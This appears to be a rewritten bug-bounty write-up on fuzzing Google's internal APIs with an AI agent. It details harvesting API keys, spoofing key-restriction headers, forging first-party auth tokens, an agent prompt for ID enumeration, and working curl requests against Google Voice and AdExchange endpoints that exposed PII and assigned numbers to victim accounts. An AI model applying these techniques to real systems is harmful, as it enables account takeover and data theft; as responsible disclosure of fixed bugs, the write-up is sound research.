Hacking Google with A.I. for $500,000
After being invited to bugSWAT Mexico in October 2025, I found myself drawn back to Google research. While I'd been focused on other projects for several months, the team's willingness to give researchers a peek into Google's source code reignited my interest in exploring Google's attack surface.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Google's APIs are described by machine-readable specifications called discovery documents. They are Google's equivalent of Swagger: a discovery document lists every method an API exposes, along with the parameters each method accepts, the HTTP method and path, and the shape of the request and response bodies. Public APIs such as the YouTube Data API have their discovery documents documented openly, but the same mechanism also describes Google's internal APIs, such as the Internal People API. Some discovery documents can be fetched without credentials, while most require a valid API key.
A fragment of the YouTube Data API discovery document shows the structure:
...
"liveChatModerators": {
"methods": {
"insert": {
"flatPath": "youtube/v3/liveChat/moderators",
"description": "Inserts a new resource into this collection.",
"httpMethod": "POST",
"parameters": {
"part": {
"description": "The *part* parameter serves two purposes in this operation. It identifies the properties that the write operation will set as well as the properties that the API response returns. Set the parameter value to snippet.",
"repeated": true,
"required": true,
"location": "query",
"type": "string"
}
...
For anyone hunting access control bugs, this is the important part: a discovery document is a complete, structured inventory of an API's attack surface. It names the methods, the identifiers they take and the fields they return, which is exactly the input an automated fuzzer needs. Because the documents are machine-readable, a tool can parse them, build valid requests and probe every method without a human reading documentation by hand.
There is a second layer on top of this. Certain Google Cloud projects have visibility labels enabled, which gives them access to hidden endpoints that do not appear in a discovery document unless the labels parameter is supplied. The same API therefore presents two different surfaces depending on which project's key asks for the document. Fetching the Service Management API discovery document without labels returns 253k bytes; adding ?labels=GOOGLE_INTERNAL grows the response to 329k bytes and reveals significantly more hidden documentation. The labels parameter only accepts one label at a time, so covering the hidden surface means testing every known label with every API key across every discovered API.
The scale is what makes automation worthwhile. By scraping API keys out of Android packages, intercepting traffic across Google's web properties and scanning for live API hostnames, the researcher assembled discovery documents for more than 1,500 APIs, and combined them with documents archived from earlier research. That corpus, rather than any single endpoint, is the real target: a large, structured and mostly undocumented set of internal methods that can be probed systematically.
Setup
The whole approach rests on two resources: valid API keys and a list of live Google API hostnames. Everything else, the discovery documents and the fuzzing, is downstream of those.
Collecting API keys
API keys are embedded in virtually every Google app and service. The useful property is that a key found in one service often has multiple other APIs enabled for its Google Cloud Platform project, so collecting as many keys as possible widens access to many APIs at once. The researcher teamed up with Michael for this part and took an exhaustive approach.
They scraped over 60,000 Android APKs, every version of every Google app ever released, unpacked them and grepped for API keys:
user@siege:/mnt/data/apks$ ls -1 | wc -l
61200
They also built a Chrome extension using the Chrome Debugger API to intercept network traffic, then systematically visited all known Google web domains (2.8k+) and used every web app feature possible to capture keys from live requests. In addition, they decrypted every Google IPA they could obtain and analysed any Google binaries they could find.
To keep the results in scope for the Google VRP and to discard keys belonging to third-party GCP projects, they needed to know which GCP project each key belonged to. The project number is revealed in the error message returned when a key is used against a Google API it does not have enabled. For instance, fetching https://protos.googleapis.com/$discovery/rest?key=[redacted] returns the error Protos API has not been used in project 244648151629 before, revealing the project number.
An endpoint found in the Cloud Marketplace API then maps that project number to information about the project:
GET /v1test/infoSharing/test/test/1044708746243 HTTP/2
Host: cloudmarketplace.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: [redacted]
1044708746243is the target project number.
The response:
HTTP/2 200 OK
Content-Type: application/json; charset=UTF-8
{
"company": "google.com",
"email": "[redacted]",
"name": "GVRP Test2"
}
The email and name belong to the authenticated Google account making the call, but the company field is the domain tied to the GCP project number that was supplied. Running this endpoint for the projects behind all the collected keys allowed filtering out non-Google keys: anything not from a google.com project (or an acquisition domain such as nest.com, fitbit.com or wing.com) was discarded.
Finding live API domains
With keys in hand, the next step was a list of Google API domains to scan. The researcher combined domains logged by the Chrome extension, brute-force generated names built from keywords, and certificate transparency logs. To check whether a candidate domain was a live Google API, a bare request was enough:
GET / HTTP/2
Host: people-pa.googleapis.com
The Server response header was the signal:
HTTP/2 404 Not Found
Date: Mon, 16 Feb 2026 08:46:31 GMT
Content-Type: text/html; charset=UTF-8
Server: ESF
If that header existed, usually ESF, GSE or scaffolding on HTTPServer2, the domain was a valid Google API service that was alive and responding to requests.
Scanning for discovery documents
In July 2025 Google removed the /$discovery/rest path from most of its APIs, but the report notes that it is possible to bypass this in some cases if you are clever enough. Where the path still worked, the visibility labels described earlier applied. Fetching the Service Management API discovery document without labels:
GET /$discovery/rest HTTP/2
Host: serviceusage.googleapis.com
X-Goog-Api-Key: [redacted]
returns 253k bytes. With ?labels=GOOGLE_INTERNAL:
GET /$discovery/rest?labels=GOOGLE_INTERNAL HTTP/2
Host: serviceusage.googleapis.com
X-Goog-Api-Key: [redacted]
the response grows to 329k bytes. Because the labels parameter accepts only one label at a time, the only way to uncover endpoints hidden behind visibility labels was to test every known label with every API key across all discovered APIs. The request volume was massive, but it produced discovery documents for 1,500+ APIs, which together with the archived documents from earlier research formed the corpus to fuzz.
Authentication and FPA v2
API keys handle authorisation, but many endpoints also require authentication credentials identifying which Google account is calling. Combining a bearer token with an API key fails, because bearer tokens are themselves tied to GCP projects:
{
"error": {
"code": 400,
"message": "The API Key and the authentication credential are from different projects.",
"status": "INVALID_ARGUMENT",
...
}
}
The report states there is no known way around this using bearer authentication. Even supplying X-Goog-User-Project: <project_number> does not help, because it validates whether the authenticated account holds the roles/serviceusage.serviceUsageConsumer role in that GCP project.
Many APIs, however, support Google's proprietary First Party Authentication (FPA), which does work with API keys. A typical request from a Google web app looks like this:
These requests carry the Google account session Cookie and an Authorization value computed from that cookie, and they go to *.clients6.google.com rather than *.googleapis.com. A well-known Stack Overflow post covers the basic scheme, but not the full picture: many APIs, such as drivefrontend-pa.googleapis.com, require a more complete version of Google's FPA v2 authorization header that embeds user identifiers such as email addresses within the hash.
Michael spotted that Google had accidentally leaked sourcemaps for some time on https://android-review.googlesource.com/q/status:open+-is:wip, which exposed the frontend source code of Google's internal gapix library, including the code that generates the FPA v2 authorization header. The new system works as follows. Three user identifiers can be included in the hash:
* @param {?Array<{key:string,value:string}>=} opt_userIdentifiers an
* array of {key:, value:} objects where 'key' is: <li>
* <ul>'e': denotes that the corresponding 'value' is the user's email address
* <ul>'u': denotes that the corresponding 'value' is the user's
* focus-obfuscated Gaia ID
* <ul>'a': denotes that the corresponding 'value' is the user account's
* app domain (required only for dasher accounts)
The token is then generated:
goog.array.forEach(userIdentifiers, function (element, index, array) {
suffix.push(element["key"]);
identifiers.push(element["value"]);
});
const timestamp = Math.floor(new Date().getTime() / 1000);
if (goog.array.isEmpty(identifiers)) {
sha1Parts = [timestamp, sessionCookie, origin];
} else {
sha1Parts = [identifiers.join(":"), timestamp, sessionCookie, origin];
}
const sha1 = gapix.auth_firstparty.tokencrafter.computeSha1_(
sha1Parts.join(" ")
);
const tokenParts = [timestamp, sha1];
if (!goog.array.isEmpty(suffix)) {
tokenParts.push(suffix.join(""));
}
return tokenParts.join("_");
Gaia stands for "Google Accounts and ID Administration". Every Google account has a sequential unobfuscated Gaia ID, for example 131337133377, as well as a longer Focus-obfuscated Gaia ID that looks like 101189998819991197253. The final token format is <timestamp>_<hash>_<identifier_keys>. A Google Workspace user (internally called dasher) might get a token like 1739700391_abc123def456_eua, where eua indicates the hash was computed using email, obfuscated Gaia ID and Workspace domain. The origin used in the hash is the Origin header value, for example https://drive.google.com.
There is a quirk worth knowing: only three identifier keys exist, u for the obfuscated Gaia ID, e for email and a for the Workspace domain. If other letters are specified, the API backend simply ignores them, so it is possible to mint a valid auth header containing arbitrary strings, for example <timestamp>_<hash>_googlesauthteamhatesthisoneweirdtrick.
Origin whitelisting
The Origin header matters. Browsers add it automatically, and it indicates the scheme and host of the current tab, in the form Origin: <scheme>://<hostname>[:<port>]. Many APIs enforce an origin whitelist, and a non-whitelisted origin produces a misleading error:
{
"error": {
"code": 401,
"details": [
{
"@type": "type.googleapis.com/google.rpc.ErrorInfo",
"domain": "googleapis.com",
"metadata": {
"cookie": "UNKNOWN",
"method": "[redacted].businessprocess.v1.BusinessProcess.GetIssue",
"service": "businessprocess-pa.googleapis.com"
},
"reason": "SESSION_COOKIE_INVALID"
}
],
"message": "Request had invalid authentication credentials. Expected OAuth 2 access token, login cookie or other valid authentication credential. See https://developers.google.com/identity/sign-in/web/devconsole-project.",
"status": "UNAUTHENTICATED"
}
}
This does not mean the cookie is invalid; it means the origin is not whitelisted. The whitelist is not documented anywhere, but using the proto leak bug from the researcher's previous writeup, the proto definition for gaia_mint.AllowedFirstPartyAuth could be read:
syntax = "proto3";
package gaia_mint;
message AllowedFirstPartyAuth {
enum FirstPartyOriginEnforcementLevel {
UNKNOWN = 0;
MONITORING_ONLY = 1;
PRODUCTION_ORIGINS_ONLY = 2;
ENFORCE_ALL = 3;
}
bool allow_insecure = 1;
bool allow_insecure_pvt = 2;
bool legacy_allow_all_origins = 3;
FirstPartyOriginEnforcementLevel enforcement_level = 4;
repeated AllowedFirstPartyAuthOriginRule allowed_origin_rule = 5;
repeated string skip_origin_check_for_test_user = 6;
repeated string include_named_origin_rule_list = 7;
}
message AllowedFirstPartyAuthOriginRule {
string origin = 1;
bool is_country_domain_prefix = 2;
oneof mutual_exclusive_options {
bool is_sharded_domain = 3;
bool allow_subdomains = 4;
}
}
This shows the internal model: different enforcement levels, support for subdomain wildcards, and a legacy_allow_all_origins flag that APIs accepting any origin are likely using.
API key restrictions
Some keys carry header restrictions. There are four types: Server, Browser, Android and iOS. The same restrictions are available to anyone on their own GCP project's keys, and they are defined in Google's error_reason proto:
enum ErrorReason {
...
API_KEY_HTTP_REFERRER_BLOCKED = 7;
API_KEY_IP_ADDRESS_BLOCKED = 8;
API_KEY_ANDROID_APP_BLOCKED = 9;
API_KEY_IOS_APP_BLOCKED = 13;
...
}
Server restrictions use IP address whitelists, which cannot be bypassed, but very few keys actually used this type.
Browser restrictions require a correct HTTP Referer header:
GET /v1/operations HTTP/2
Host: servicemanagement.googleapis.com
X-Goog-Api-Key: [redacted]
Referer: https://vrptest.google.com
Some keys, like this one, allow the wildcard *.google.com. The tricky part is that Referer and Origin cannot be mismatched, so an endpoint with an origin whitelist needs a matching Referer and Origin pair before the key will work.
iOS restrictions only require the right X-Ios-Bundle-Identifier header:
GET /v1/operations HTTP/2
Host: servicemanagement.clients6.google.com
X-Goog-Api-Key: [redacted]
X-Ios-Bundle-Identifier: com.google.GoogleMobile
Android restrictions require two matching headers, X-Android-Package (the app's package name) and X-Android-Cert (the SHA-1 signing certificate fingerprint):
GET /v1/operations HTTP/2
Host: servicemanagement.clients6.google.com
X-Goog-Api-Key: [redacted]
X-Android-Package: com.google.android.settings.intelligence
X-Android-Cert: [redacted]
All of these values were stored during key collection, and brute-forcing them was built into the same program.
One notable finding was that there are no restrictions on using *.corp.google.com as a first-party authentication origin:
GET /contentmanager/v1/item_paths HTTP/2
Host: contentmanager.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://[redacted].google.com
X-Goog-Api-Key: [redacted]
This API only accepted calls from a small set of origins:
https://[redacted].google.comhttps://[redacted].google.comhttps://[redacted].google.comhttps://[redacted].google.com
as well as staging and dev variants of these, such as https://[redacted].google.com. An API that only allows *.corp.google.com origins is likely an internal API that was never meant to be publicly exposed, and probably has bugs. This particular one was used for managing support.google.com content and workflows, and had an access control vulnerability that was awarded $9,000.
The request lifecycle
Putting all of this together gives a clear picture of the full lifecycle of a Google API request:
[1] Request hits *.googleapis.com
|
v
[2] Method resolution
- 404, Content-Type: text/html; charset=UTF-8 (If method doesn't exist, this is the resp)
|
v
[3] Supplied Content-Type configured for service
- 400, "JSPB is not configured for service 'preprod-nestauthproxyservice-pa.sandbox.googleapis.com'."
|
v
[4] API key valid & enabled for this API
- 400, reason: API_KEY_INVALID
- 403, "API key not valid."
- 403, "API key is expired"
- 403, "Pulse Private API has not been used in project 41614776383..."
- 403, "...doesn't allow unregistered callers..."
- 403, "...missing a valid API key"
|
| ~50% of requests to staging environments have [4] <-> [5] swapped
v
[5] API key restrictions
- 403, "Requests from this Android client application <empty> are blocked."
- 403, "Requests from this iOS client application <empty> are blocked."
- 403, "Requests from referer https://console.cloud.google.com are blocked."
|
v
[6] Authentication credential validity
- 401, "Request had invalid authentication credentials. Expected OAuth 2 access token, login cookie or other valid authentication credential. See https://developers.google.com/identity/sign-in/web/devconsole-project."
- 401, reason: ACCESS_TOKEN_SCOPE_INSUFFICIENT
|
v
[7] First-party auth origin whitelisted (only when FPA cookies sent)
- 401, reason: SESSION_COOKIE_INVALID, metadata.cookie: "UNKNOWN"
|
v
[8] API key project == bearer project (only when both key + bearer sent)
- 400, "The API Key and the authentication credential are from different projects."
|
v
[9] Visibility label
- 404, Content-Type: application/json, "Method not found."
|
v
[10] Method blocked for caller's GCP project
- 403, "Requests to this API preprod-nestauthproxyservice-pa.sandbox.googleapis.com method nest.security.authproxy.v1.NestSecurityAuthproxyService.LookUpByNestId are blocked."
|
v
...
|
v
[N] Request processed by application server
A program was built around this map. For each (API key, API) pair it sent a probe request to a known method and classified the response by which step rejected it, or "passed" if it made it past step [4]. Running this across every key against every API produced an enablement matrix of which keys worked for which APIs, along with the working origin headers and key-restriction headers required for each.
Finding it
With an enablement matrix in hand, the next problem was how to actually exercise the endpoints. Google's own API Explorer uses discovery documents behind the scenes to let you build and send any API request and see the response, which was extremely useful for testing public APIs. It used to be open source, but it is not any more, and that mattered for two reasons: the public API Explorer only works with public APIs, not private or internal ones, and its pages are generated server-side, so you cannot simply swap in a different discovery document as the client.
Building the API Explorer
Given those limits, and the need to integrate FPA v2, the researcher built a custom API Explorer. It took about a week. The result parses any discovery document client-side and executes requests with FPA using a purpose-built library. The frontend automatically constructs valid request and response JSON from the structs defined in the discovery document, so the UI lets you quickly test any payload against an API and see how it responds.
One endpoint the tool exposed was an access control bug leaking assignedTams (technology account managers), awarded $6,000.
Giving the AI tools
The goal was to automate finding basic access control issues that could then be escalated manually into more serious vulnerabilities. The RCE from the researcher's previous writeup was initially a lead reported by the AI, so the approach had form. The same code used in the frontend for parsing request and response JSON was plugged into the AI as MCP tools, giving it what it needed to test APIs the way a human would.
The first version gave the AI only two tools: probe_api and report_vulnerability. The latter made any reported vulnerability show up in the frontend for review. One "pentest" was run per API and the AI was left to explore.
The problem was that the AI did not test thoroughly. It would exit early after a few probes. To prevent this, a Ralph Wiggum loop was used: the AI was only allowed to finish by calling confirm_testing_complete(), a tool that validated every endpoint had at least one probe call before letting the AI stop.
Even then it was not as thorough as wanted. The initial context also contained a massive dump of request and response JSON with comments, which quickly consumed all available context. A different approach was needed.
Group-based classification
The strategy changed so that the AI first classifies all endpoints into logical groups:
[
{
"group_name": "APK Metadata & Permission Analysis",
"group_description": "Endpoints managing APK information, permission certifications, and text-based searches.",
"group_rationale": "These endpoints provide the primary interface for retrieving APK technical details. A focused test can look for data leakage in search results and IDOR on certificate/permission lookups.",
"methods": [
{
"method_id": "androidpartner.apks.get",
"definition_hash": "4462fbad195536db",
"classified_at": "2026-01-25T11:18:52.028788+00:00"
},
{
"method_id": "androidpartner.apks.submissions.create",
"definition_hash": "0bbeeacafb51a2a5",
"classified_at": "2026-01-25T11:18:52.093755+00:00"
},
...
]
}
]
Each pentest then focused on a specific group rather than an entire API. Findings from previous groups were shared with later groups in the same API. The initial prompt also carried a list of out-of-scope endpoints and documentation for the in-scope ones. If the AI wanted to call an out-of-scope endpoint, it first had to call get_endpoint_context to retrieve the request and response JSON schema, and only after that could it probe the endpoint.
Simplifying probe_api
The original probe_api call required the AI to supply everything:
{
"body": {
"dataFetcherConfig": {
"id": "602e1c07-d60c-4a6f-9375-1caf1b976697",
"metadata": { "title": "Updated title" }
}
},
"host": "autopush-cloudcrmcards-pa.sandbox.googleapis.com",
"http_method": "POST",
"include_creds": "113728935872649341310",
"method_id": "autopush_cloudcrmcards_pa_sandbox.updateDataFetcherConfiguration",
"path": "/v1/updateDataFetcherConfiguration",
"version": "v1"
}
That meant the API hostname, HTTP method, long discovery method ID and API version, which left too much room for the AI to hallucinate or supply incorrect values. When include_creds was set (it takes a Gaia ID), the request was sent with the cookies of the attacker Google account, abstracting away the complex FPA authentication so the AI only had to focus on crafting payloads. To save engineering effort, the same API endpoint built for proxying Google API requests in the frontend was reused.
The call was later simplified to:
{
"body": {
"dataFetcherConfig": {
"id": "602e1c07-d60c-4a6f-9375-1caf1b976697",
"metadata": { "title": "Updated title" }
}
},
"include_creds": "113728935872649341310",
"endpoint": "updateDataFetcherConfiguration",
"path": "/v1/updateDataFetcherConfiguration",
}
The API host and version are now tracked in the background, and the verbose prefix (such as autopush_cloudcrmcards_pa_sandbox) was stripped from endpoint names to reduce the chance of mistakes.
Multi-key probing
The response from one API key can differ from another, especially for endpoints hidden behind visibility labels. So probe_api automatically sends the same request using all known API keys, with the backend handling the correct key restriction headers and the origin and referer matching logic.
Since the vast majority of responses were identical across keys, they were grouped by response hash:
{
"operation_id": "op_023",
"results": [
{
"endpointPath": "/v1internal/accounts/1495306056/dataSegments/1",
"apiKey": "[redacted]",
"httpMethod": "GET",
"statusCode": 200,
"responseBodyHash": "response_1"
},
{
"endpointPath": "/v1internal/accounts/1495306056/dataSegments/1",
"apiKey": "[redacted]",
"httpMethod": "GET",
"statusCode": 404,
"standardErrorType": "MISSING_REQUIRED_VISIBILITY_LABEL"
},
...
],
"responseBodies": {
"response_1": {
"responseJson": {
"cpmFee": { "currencyCode": "USD", "units": "3" },
"createTime": "2025-02-19T22:05:30.626Z",
"creator": {
"accountId": "1495306056",
"displayName": "DoubleVerify Inc."
},
"curatorDataSegmentId": "1",
"dataSegmentId": "7950",
"state": "INACTIVE",
"updateTime": "2025-05-22T13:47:13.599Z"
}
}
},
"totalResults": 4
}
Parsing standard errors
Google APIs often return cryptic error messages that a human can interpret but an AI can misread. For example:
{
"error": {
"code": 404,
"message": "Method not found.",
"status": "NOT_FOUND"
}
}
Contrary to what it looks like, this does not mean the method does not exist; if that were the case the response would be HTML, not JSON. It means the GCP project tied to the API key is missing a required visibility label. These were parsed into a standardErrorType such as MISSING_REQUIRED_VISIBILITY_LABEL.
Another common one:
{
"error": {
"code": 400,
"message": "Request contains an invalid argument.",
"status": "INVALID_ARGUMENT"
}
}
This just means one or more arguments are incorrect. It was parsed to INVALID_ARGUMENT_NO_DETAILS with a standardErrorExplanation:
{
"standardErrorType": "INVALID_ARGUMENT_NO_DETAILS",
"standardErrorExplanation": "The request was rejected by the application due to invalid arguments, but no details were provided. Check your request parameters."
}
All pentests were logged on the frontend, where every tool call the AI made could be scrolled through and reviewed.
Reducing noise and validating findings
Running the AI across a batch of APIs found a few bugs, but they were buried in 90% junk. Two problems stood out.
- Validation was painful. There was no easy way to verify whether a vulnerability was real. Each report meant manually visiting the API in the frontend, setting the same parameters and checking whether the AI had not simply made it up.
- Too much noise. The AI reported things that were not bugs, and "potential" vulnerabilities that were not exploitable. A common example was existence enumeration: an oracle telling you whether a user exists is interesting, but by itself not worth reporting.
The validation problem was solved by making the AI include operation IDs from probe_api responses in its report, such as {{op_005}}. On the frontend these are replaced with a UI showing the actual request that was sent, which cannot be hallucinated, along with the response the operation returned. A "Play" button replays the request to check whether the bug still works.
The noise problem took a lot of trial and error, constantly adapting the system prompt until it was clear what should and should not be reported. This is an excerpt of the final system prompt, after over a month of refactoring:
You are a Google VRP security researcher testing Google APIs for IDOR, broken access control vulnerabilities.
**Important:** Google uses strict JSON→gRPC transcoding with strong type checking. Type confusion bugs are not applicable - use the exact types from the request schema.
## Tools
1. **probe_api(...)** - Test endpoint. Returns an **operation_id** - save this for reporting vulnerabilities.
2. **report_vulnerability(...)** - Report confirmed vulnerabilities. **Requires operation_ids** from your probe_api calls as evidence.
3. **confirm_testing_complete(report)** - Call when done. System validates all in-scope endpoints were tested. Your report will be passed to subsequent testing groups - include discovered IDs, useful context, and any patterns you noticed.
4. **get_endpoint_schema(endpoint)** - Get schema for out-of-scope endpoints only. Required before probing out-of-scope endpoints.
**Operation IDs:** Each probe_api call returns an operation_id (e.g., "op_001"). When reporting a vulnerability, you MUST include the operation_ids that demonstrate the vulnerability. This links your report to the actual request/response data.
## Testing Rules
**Endpoints are exhaustive:** The endpoints listed below are the ONLY endpoints that exist. Do not try HTTP methods or paths outside of what is listed.
**In-scope endpoints:** Full schemas are provided below. Probe them directly.
**Out-of-scope endpoints:** Call `get_endpoint_schema` first if you need to probe them for context or ID discovery.
**Auth:** Check the `allows_auth` column to decide whether to use include_creds.
**ID Enumeration (Testing Technique - NOT a vulnerability):**
- If you discover an incremental numeric ID (e.g., 12345), IMMEDIATELY try ID-1, ID-2, ID+1, ID+2
- Try small IDs: 1, 2, 3, 100, 1000
- Cross-reference IDs discovered from one endpoint on other endpoints
- This is how you find other users' resources
- **Note:** Being able to enumerate IDs is NOT a vulnerability. Only report if you can actually ACCESS confidential data.
**Don't know a parameter value?** Use: "1", "test", "me", "default", fake UUIDs. Never skip an endpoint.
**Make MULTIPLE probes per endpoint** with different auth states and IDs.
## Reporting
**Report when you find:**
- Access to other users' data
- 2xx response with private data where 4xx expected
**Do NOT report:**
- 500 errors, 401/403/404 errors, 400 invalid param errors
- Status 200 without actual private data disclosure or provable impact
- **Existence enumeration** - NEVER report that you can detect whether an ID exists (e.g., different responses for valid vs invalid IDs). This is NOT a vulnerability unless it leaks sensitive information like emails, names, or private data. Use enumeration for testing, but do not report it.
**Severity:**
- DEBUG: Internal debug info leaked (not type.googleapis.com/xxx)
- INFO: Suspected IDOR - endpoint returns 200/404/500 with resource ID but no valid ID to confirm (needs manual verification)
- MEDIUM: Gaia ID → Email mapping for victim
- MEDIUM: Project number -> Project ID mapping for victim
- HIGH: IDOR leaking other user's data
- CRITICAL: Broken access control leaking sensitive user data
**Report immediately.** As soon as you confirm a vulnerability, call report_vulnerability right away - don't wait until the end.
**Each vulnerability = one report.** If you find the same bug on multiple endpoints, report it once. Exception: INFO-level internal error leaks - only report the first one you see unless they're vastly different.
With both problems solved, the AI started finding bugs with over 50% accuracy, and reviewing them became trivial: click "Play", check whether the bug still worked, report. The only limiting factor left was API keys.
Exploitation
The AI found $500,000 in bugs in less than three months of running. There are far too many to cover, so what follows are some of the most interesting ones, all since fixed.
Google Voice account takeover
gfibervoice-pa.googleapis.com had no access control checks at all. It appeared to contain admin management endpoints for Google Voice and Google Fiber.
A one-line curl command was enough, and it did not even need authentication:
curl 'https://gfibervoice-pa.googleapis.com/v1/BssGetVoiceSettings?gaiaId=786575234861' \
-X GET \
-H 'X-Goog-Api-Key: [redacted]'
Replacing
gaiaIdwith your victim's unobfuscated Gaia ID
If the victim had a Google Voice number tied to their Google account, the response dumped all of their PII:
{
"voiceAccountInfo": {
"voiceSettings": {
...
"did": "+<REDACTED PHONE>",
"notificationAddress": "<REDACTED>@gmail.com",
"voicemailPin": "",
"doNotDisturb": false,
"groupRingType": "GROUP_RING_TYPE_UNKNOWN",
"weekdayRingSchedule": {
"scheduleType": "ALWAYS_RING"
},
"weekendRingSchedule": {
"scheduleType": "ALWAYS_RING"
},
"forwardingPhone": [
{
"id": 33,
"phoneNumber": "+<REDACTED PHONE>",
"verified": false
},
{
"id": 52,
"phoneNumber": "sip:<REDACTED>@voice.sip.google.com",
"verified": true
},
...
],
"timezone": "America/Chicago",
"callScreening": "SCREENING_ASK_UNKNOWN_FOR_NAME"
},
...
}
}
From this response the victim's Google Voice number was visible, as well as their Google Account recovery phone number.
The API also provided an endpoint to assign a Google Voice number to any target Google account, even one that had never used Voice:
curl 'https://gfibervoice-pa.googleapis.com/v1/AssignNumber' \
-X POST \
-H 'Content-Type: application/json' \
-H 'X-Goog-Api-Key: [redacted]' \
--data-raw '{"gaiaId":"1072004820935","accountId":"1","number":"[redacted]"}'
Account ID wasn't validated, it could be anything.
The API returned:
{
"error": {
"code": 500,
"message": "Internal error encountered.",
"status": "INTERNAL"
}
}
The error did not matter: the number was still added, and it even showed up on the victim's Google account phones under https://myaccount.google.com/phone. Fetching the victim's profile again showed the change:
{
"voiceAccountInfo": {
"voiceSettings": {
"did": "[redacted]",
"emailForVoicemailNotification": true,
"notificationAddress": "[redacted]",
"voicemailPin": "",
...
"forwardingPhone": [
{
"id": 1,
"phoneNumber": "<REDACTED>",
"verified": true
},
...
],
"timezone": "America/Los_Angeles",
"callScreening": "SCREENING_ASK_UNKNOWN_FOR_NAME"
},
...
}
}
The victim's Google account recovery phone number would be visible. Checking with Google, there seemed to be certain specific conditions for it to show the recovery phone number here; it was not for every single Google account, and Google declined to provide the exact conditions.
Transferring an existing Google Voice number is more complicated. It requires assigning two new numbers to the Voice victim with the target number, and after some time the original voice number would "expire", after which it could be assigned to the attack account. This was needed because otherwise the API returned some strange error.
Several other suspicious endpoints on this API could not be tested because the researcher lacked a Google Fiber account. They might have allowed SIM swap attacks:
POST /v1/InitiateNumberPort HTTP/2
Host: gfibervoice-pa.googleapis.com
X-Goog-Api-Key: [redacted]
Content-Type: application/json
{
"billingTelephoneNumber": "<string>",
"fiberAccountId": "<string>",
"gaiaId": "<string>",
"internalNpoOrderId": "<string>",
"loaAuthorizingPerson": "<string>",
"losingCarrierAccountNumber": "<string>",
"losingCarrierPin": "<string>",
"portTelephoneNumber": ["<string>"],
"requestedFocDateMs": "<string>",
"subscriber": {
"businessName": "<string>",
"firstName": "<string>",
"lastName": "<string>",
"serviceAddress": {
"city": "<string>",
"state": "<string>",
"streetAddress": "<string>",
"unitNumber": "<string>",
"zipcode": "<string>"
},
"subscriberType": "UNKNOWN_SUBSCRIBER_TYPE"
}
}
This bug was marked P0/S0, patched within a few hours, and awarded $20,000 under: Domains where a vulnerability could disclose particularly sensitive user data. Vulnerability category is "bypass of significant security controls", PII or other confidential information.
Shortly after the patch, the endpoint started returning a strange error:
GET /v1/CheckNumberPortStatus HTTP/2
Host: gfibervoice-pa.googleapis.com
X-Goog-Api-Key: [redacted]
Response:
HTTP/2 404 Not Found
Content-Type: text/plain; charset=utf-8
Date: Sat, 24 Jan 2026 08:45:16 GMT
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Not found: '/v1/CheckNumberPortStatus'
It looked a lot like an Envoy proxy error, which had not been seen before on a *.googleapis.com. Michael noticed that https://gfibervoice-pa.googleapis.com started redirecting to /statusz, which was a 404 page, and then ran ffuf with the suffix "z" on the domain, uncovering several more paths:
appsframeworkz
bouncerz
bpfz
btz
bugz
cacheserverz
cdpushz
censusz
choicez
codez
...
Most of these were blocked with 403, but /btz returned status 200. This is what is known as a zhandler. Zhandlers are only supposed to be accessible from within Google's intranet. This one was not too useful, but they tend to leak debug information from borg. If /flagz is reachable, from an exposed zhandler or from an exposed intranet Wi-Fi hotspot during bugSWAT, API keys can be found by pulling the .class files of running services.
AdExchange account takeover
AdExchange is Google's ad management platform, which lets publishers such as websites and apps sell advertising space. The AI first found an endpoint that seemed to dump a list of all AdExchange accounts in a single request:
GET /v1internal/cookieMatchingAccounts HTTP/2
Host: adexchangebuyer.clients6.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://ads.google.com
X-Goog-Api-Key: [redacted]
Response:
{
"cookieMatchingAccounts": [
{
"accountId": "<REDACTED>",
"cookieEncryptionType": "ID_ONLY",
"forwardHostedMatchEnabled": true,
"gdprContractState": "HAS_SIGNED_GDPR_CONTRACT",
"pushCookieState": "INACTIVE",
"externalCookieMatchingSettings": {
"displayName": "<REDACTED>",
"cookieMatchingState": "INACTIVE",
"cookieMatchingNid": "<REDACTED>"
}
},
...
{
"accountId": "<REDACTED>",
"cookieEncryptionType": "ID_ONLY",
"forwardHostedMatchEnabled": true,
"gdprContractState": "HAS_SIGNED_GDPR_CONTRACT",
"pushCookieState": "INACTIVE",
"externalCookieMatchingSettings": {
"displayName": "<REDACTED>",
"cookieMatchingState": "INACTIVE",
"cookieMatchingNid": "<REDACTED>"
}
},
...
]
}
The API itself is actually public, but this endpoint sat behind a visibility label that only google.com:ad-exchange-buyer-fe had access to.
At first not much more could be reached, since all the other interesting account-related endpoints returned PERMISSION_DENIED. That changed when the AI reported this finding:
Request
GET /v1internal/buyers/8442597967 HTTP/2
Host: test-adexchangebuyer-googleapis.sandbox.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://ads.google.com
X-Goog-Api-Key: [redacted]
Content-Length: 119
Response
{
"accountId": "8442597967",
"externalBuyerSettings": {
"accountName": "LiveRamp 45885",
"contactEmails": [
"█████████@google.com",
"██████████@google.com",
"████████@google.com",
"[redacted]",
"[redacted]",
"[redacted]",
"[redacted]",
"[redacted]"
],
"currencyCode": "USD",
"displayName": "LiveRamp 45885",
"legacyAlertState": "UNSUPPORTED",
"state": "STATE_ACTIVE",
"timezoneId": "America/Los_Angeles"
},
"stateInfo": {
"comment": "Buyer creation.",
"stateLastUpdateTime": "2024-07-24T20:22:29.478913Z"
}
}
All the account-related endpoints that were blocked on production with PERMISSION_DENIED worked here with no access controls.
At first the assumption was that only the staging environment was affected, given the hostname test-adexchangebuyer-googleapis.sandbox.google.com. But when a known test account ID leaked earlier from production was tested, it worked:
Request
GET /v1internal/buyers/6558940734/users HTTP/2
Host: test-adexchangebuyer-googleapis.sandbox.google.com
Cookie: <redacted>
Authorization: <redacted>
Origin: https://ads.google.com
X-Goog-Api-Key: [redacted]
Content-Length: 119
Response
{
"buyerUsers": [
{
"accountId": "6558940734",
"emailAddress": "██████@google.com",
"role": "ADMIN",
"status": "ACTIVE",
"userId": "4604346"
},
{
"accountId": "6558940734",
"emailAddress": "[redacted]",
"isRobotAccount": true,
"role": "SERVICE_ACCOUNT",
"status": "ACTIVE",
"userId": "4618737"
},
{
"accountId": "6558940734",
"emailAddress": "█████████████@gmail.com",
"role": "ADMIN",
"status": "ACTIVE",
"userId": "4639432"
},
...
]
}
